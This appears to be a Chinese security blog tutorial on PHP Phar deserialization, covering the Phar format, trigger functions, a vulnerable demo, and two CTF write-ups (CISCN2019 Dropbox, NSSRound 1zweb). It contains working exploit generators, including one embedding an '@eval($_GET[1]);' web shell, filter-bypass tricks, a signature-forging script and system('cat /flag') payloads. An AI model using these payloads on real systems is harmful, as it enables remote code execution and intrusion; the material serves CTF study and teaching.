Phar 反序列化 0x01 关于 Phar Phar 含义 Phar 本质上还是一种压缩包,但它是 PHP 的压缩文档,类似于 jar 包在 Java 里面差不多的样子。它可以把多个文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
默认开启版本 PHP Version >= 5.3
Phar 文件结构 
在说文件结构之前,我们可以先通过这个脚本生成一个 .phar 文件 
 
ProducePhar.php 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  test  {     public  $name ="qwq" ;     function  __destruct ( )     {         echo  $this ->name . " is a web vegetable dog " ;     } }$a  = new  test ();$a ->name="drunkbaby" ;$tttang =new  phar ('drunkbaby.phar' ,0 );$tttang ->startBuffering ();$tttang ->setMetadata ($a );$tttang ->setStub ("<?php __HALT_COMPILER();?>" );$tttang ->addFromString ("test.txt" ," " );$tttang ->stopBuffering ();?> 
 
Phar 文件结构大致可分为四个部分
1 2 3 4 1 、Stub2 、manifest3 、contents 4 、signature
 
下面细说一些
stub Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头,这个 Stub 其实就是一个简单的 PHP 文件,它的格式具有一定的要求,具体如下
1 xxx<?php  xxx; __HALT_COMPILER ();?> 
 
这行代码的含义,也就是说前面的内容是不限制的,但在该 PHP 语句中,必须有__HALT_COMPILER(),没有这个,PHP 就无法识别出它是 Phar 文件。 这个其实就类似于图片文件头,比如 gif 文件没有 GIF89A 文件头就无法正确的解析图片,010 Editor 里面的 phar 文件头如图
manifest a manifest describing the contents,用于存放文件的属性、权限等信息。 这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data
在我们上面生成的 phar 文件中,manifest 的内容如图
contents 用于存放 Phar 文件的内容
Signature [optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,具体格式如下
从官方文档中不难看出,签证尾部的 01 代表 md5 加密,02 代表 sha1 加密,04 代表 sha256 加密,08 代表 sha512 加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本
1 2 3 4 5 6 7 8 from  hashlib import  sha1with  open ('test.phar' , 'rb' ) as  file:     f = file.read()	 s = f[:-28 ]  h = f[-8 :]  newf = s + sha1(s).digest() + h with  open ('newtest.phar' , 'wb' ) as  file:     file.write(newf) 
 
0x02 Phar 反序列化漏洞 漏洞成因 Phar 反序列化之所以存在,是因为 Phar 文件中的 manifest 字段存储了序列化的数据,这其实就是用户的 mete-data,PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。具体解析代码如下
php-src/ext/phar/phar.c 
那么该如何触发反序列化呢,一般是配合 Phar 伪协议,伪协议使用较多的是一些文件操作函数,只有这些函数能进行反序列化操作,单纯的 phar:// 的伪协议并不能触发反序列化,如 fopen()、copy()、file_exists() 等,具体如下图
通过两个小 demo 来证明一下 file_get_contents() 可用:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  test  {     public  $name ="" ;     public  function  __destruct ( )     {         echo ('the name is  ' );         echo  ($this ->name);         echo  '<br>' ;         echo  '   Destruct called' ;     } }$tttang  = file_get_contents ('phar://drunkbaby.phar/test.txt' );echo  $tttang ;
 
成功触发,同样可以试一试其他的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  test  {     public  $name ="" ;     public  function  __destruct ( )     {         echo ('the name is  ' );         echo  ($this ->name);         echo  '<br>' ;         echo  '   Destruct called' ;     } }$drunkbaby  = file_exists ('phar://drunkbaby.phar/test.txt' );echo  $drunkbaby ;
 
这里会打印出的数据有之前在 test.txt 中写入的内容 空格,以及该打印出的 $this->name 的内容 —— drunkbaby
所以此处我们可以用一种别样的方式来触发反序列化,回想一下之前 PHP 反序列化的时候,是需要一个 unserialize() 反序列化的入口类的,但是在 Phar 反序列化当中,这一过程更为隐蔽。
接下来我们简单总结一下利用条件
利用条件 1)需要入口,也就是上面能够对 phar 文件进行反序列化的地方。
2)存在可利用的魔术方法,用魔术方法作为跳板,这其实也就是 POP 链的思想。
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
简单 Demo VulDemo1.php 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if  (isset ($_GET ['filename' ])){     $filename  = $_GET ['filename' ];     class  MyClass   {         var  $output  = 'echo "lol"' ;         function  __destruct ( )         {             eval ($this ->output);         }         file_exists ($filename );     } }else  {     highlight_file (__FILE__ ); }
 
这道 Demo 就是完美满足我们 phar 反序列化攻击的需求,首先存在入口函数 —— file_exists(),其次存在能够利用的魔术方法,魔术方法这里其实写了一个命令执行。并且毫无过滤。
所以我们直接构造恶意的 phar 文件,EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class  MyClass  {     var  $output  = '@eval($_GET[1]);' ; }$o  = new  MyClass ();$filename  = 'poc.phar' ;file_exists ($filename ) ? unlink ($filename ) : null ;$phar =new  Phar ($filename );$phar ->startBuffering ();$phar ->setStub ("GIF89a<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($o );$phar ->addFromString ("foo.txt" ,"bar" );$phar ->stopBuffering ();?> 
 
正常情况下应该是会给我们提供文件上传的功能点,这里我没有写,但是可以直接利用,payload 为
 
0x03 Phar 反序列化 Bypass 的攻防二相性 对 Phar 内文件检测白名单 我们利用Phar反序列化的第一步就是需要上传Phar文件到[服务器],而如果服务端存在防护,比如这种
1 $_FILES ["file" ]["type" ]=="image/gif" 
 
这里的 bypass 比较简单,核心语句是这个
1 $phar->setStub("GIF89a <?php  __HALT_COMPILER (); ?> "); 
 
这和上面例题所说的 exp 是一样的
绕过 Phar 等关键字检测 Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下
1 2 3 if (preg_match("/ ^php | ^file | ^phar | ^dict | ^zip /i", $filename ){     die(); } 
 
我们的办法是使用各种协议来进行绕过,具体如下
1 2 3 4 5 6 1 、php:// filter/read=convert.base64-encode/ resource=phar:// test.phar// 即使用filter伪协议来进行绕过2 、compress.bzip2:// phar:// /test.phar/ test.txt// 使用bzip2协议来进行绕过3 、compress.zlib:// phar:// /home/ sx/test.phar/ test.txt// 使用zlib协议进行绕过
 
绕过 __HALT_COMPILER 检测 我们在前文初识Phar时就提到过,PHP 通过 __HALT_COMPILER来识别 Phar 文件,那么出于安全考虑,即为了防止 Phar 反序列化的出现,可能就会对这个进行过滤,示例代码如下
1 2 3 if  (preg_match ("/HALT_COMPILER/i" ,$Phar ){     die (); }
 
这里的话绕过思路有两个 1、将 Phar 文件的内容写到压缩包注释中,压缩为 zip 文件,示例代码如下
1 2 3 4 5 6 7 8 <?php $a  = serialize ($a );$zip  = new  ZipArchive ();$res  = $zip ->open ('phar.zip' ,ZipArchive ::CREATE ); $zip ->addFromString ('flag.txt' , 'flag is here' );$zip ->setArchiveComment ($a );$zip ->close ();    ?> 
 
2、将生成的Phar文件进行gzip压缩,压缩命令如下
 
压缩后同样也可以进行反序列化
0x04 实战例题 [CISCN2019 华北赛区 Day1 Web1]Dropbox 
首先通过正常的登录注册业务进到正常的逻辑当中去,发现有个文件上传的业务点。 
 
上传 shell.jpeg 可以上传成功,并且存在下载与删除的业务
但是目前无法确定 shell.jpeg 的路径保存在何处,所以我们先看看下载的业务,这里是存在任意文件读取的漏洞的,如图
猜测路径 filename=/../var/www/html/upload.php 这里读取到了文件上传的源码,同样,下载和删除应该也有源码,读一下,且包含了 class.php,都逐一读取一遍。
但是这里 $_SESSION[‘sandbox’] 不知道是什么,所以并不是一道单纯的文件上传的题目。
在读取 class.php 的时候,发现最后 close() 函数调用了 file_get_contents() 函数,这个函数我们之前提过,很有可能是一个 Phar 反序列化的题目。且题目并没有过滤 phar 后缀的文件,修改 MIME 绕过即可
所以这里我们需要先找链子,危险函数是 class.php#close(),发现是 download.php#echo $file->close(); 调用了它,所以下载处应该是对应的漏洞入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class  File  {     public  $filename ;     public  function  close ( )  {         return  file_get_contents ($this ->filename);     } }$a  = new  File ();$a ->filename="/f*" ;$tttang =new  phar ('drunkbaby.phar' ,0 );$tttang ->startBuffering ();$tttang ->setMetadata ($a );$tttang ->setStub ("<?php __HALT_COMPILER();?>" );$tttang ->addFromString ("test.txt" ," " );$tttang ->stopBuffering ();?> 
 
但是我用这个打失败了,并且发现 download 这个包抓不到,所以应该是要换思路了。
发现 delete.php User 类的 __destruct() 魔术方法也同样调用了 close() 方法,和 Java 反射的思想差不多,这里把 $db 修改成 File 类即可攻击,构造 EXP,中间需要用 FileList 这个类来过渡,因为这里需要最后输出结果用,只是用 File 类的话是没办法把 flag 在前端打印出来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class  User   {     public  $db ;     public  function  __construct ( )  {         $this ->db = new  Filelist ();     } }class  FileList  {     private  $files ;     public  function  __construct ( ) {         $this  -> files = array (new  File ());     } }class  File   {     public  $filename  = '/flag.txt' ; }$a  = new  User ();$phar  = new  Phar ('poc.phar' );$phar ->startBuffering ();$phar ->addFromString ('test.txt' , 'test' );$phar ->setStub ('<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata ($a );$phar ->stopBuffering ();rename ('poc.phar' ,'poc.gif' );?> 
 
然后 delete 的功能点直接利用
[NSSRound#4 SWPU]1zweb 
不太舒服,因为要自己编辑 PHP 文件,先读取文件 
 
最后整理出来的源码如下
index.php 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class  LoveNss  {     public  $ljt ;     public  $dky ;     public  $cmd ;     public  function  __construct ( ) {         $this ->ljt="ljt" ;         $this ->dky="dky" ;         phpinfo ();     }     public  function  __destruct ( ) {         if ($this ->ljt==="Misc" &&$this ->dky==="Re" )             eval ($this ->cmd);     }     public  function  __wakeup ( ) {         $this ->ljt="Re" ;         $this ->dky="Misc" ;     } }$file =$_POST ['file' ];if (isset ($_POST ['file' ])){     echo  file_get_contents ($file ); }
 
upload.php 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if  ($_FILES ["file" ]["error" ] > 0 ){     echo  "上传异常" ; }else {     $allowedExts  = array ("gif" , "jpeg" , "jpg" , "png" );     $temp  = explode ("." , $_FILES ["file" ]["name" ]);     $extension  = end ($temp );     if  (($_FILES ["file" ]["size" ] && in_array ($extension , $allowedExts ))){         $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]);         $pos  = strpos ($content , "__HALT_COMPILER();" );         if (gettype ($pos )==="integer" ){             echo  "ltj一眼就发现了phar" ;         }else {             if  (file_exists ("./upload/"  . $_FILES ["file" ]["name" ])){                 echo  $_FILES ["file" ]["name" ] . " 文件已经存在" ;             }else {                 $myfile  = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" );                 fwrite ($myfile , $content );                 fclose ($myfile );                 echo  "上传成功 ./upload/" .$_FILES ["file" ]["name" ];             }         }     }else {         echo  "dky不喜欢这个文件 ." .$extension ;     } }
 
大致就是,要检查后缀并检查内容,且会检查 phar 文件的内容,这一步其实很容易 bypass,通过前面讲的,gzip 压缩就好。
接着分析题目,先写 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class  LoveNss  {     public  $ljt ;     public  $dky ;     public  $cmd ;     public  function  __construct ( ) {         $this ->ljt="Misc" ;         $this ->dky="Re" ;         $this ->cmd="system('cat /flag');" ;     } }$phar  = new  Phar ('poc.phar' );$phar ->startBuffering ();$phar ->setStub ('GIF89a' .'<?php __HALT_COMPILER(); ? >' );$a  = new  LoveNss ();$phar ->setMetadata ($a );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?> 
 
这里很明显要 bypass __wakeup() 魔术方法,但是如果只是修改内容是不行的,还需要修改签名,这就是前面说的内容。
总的来说就是以下四步
1 2 3 4 1 、更改属性值来绕过 __wakeup 函数2 、更改签名2 、进行 gzip 压缩来绕过关键字检测4 、更改文件后缀
 
sign.py 
1 2 3 4 5 6 7 8 9 10 11 12 import gzipfrom  hashlib import sha1 with open ('poc.phar' , 'rb' ) as  file:     f = file.read () s = f[:-28 ]  s = s.replace (b'3:{' , b'4:{' ) h = f[-8 :]  newf = s + sha1 (s).digest () + h  newf = gzip.compress (newf)  with open ('newPoc.png' , 'wb' ) as  file:     file.write (newf)
 
构造完毕之后,上传并攻击
参考文章:
https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/ 
https://juejin.cn/post/7152298620656549896#heading-1 
https://paper.seebug.org/680/ 
https://cloud.tencent.com/developer/article/2278965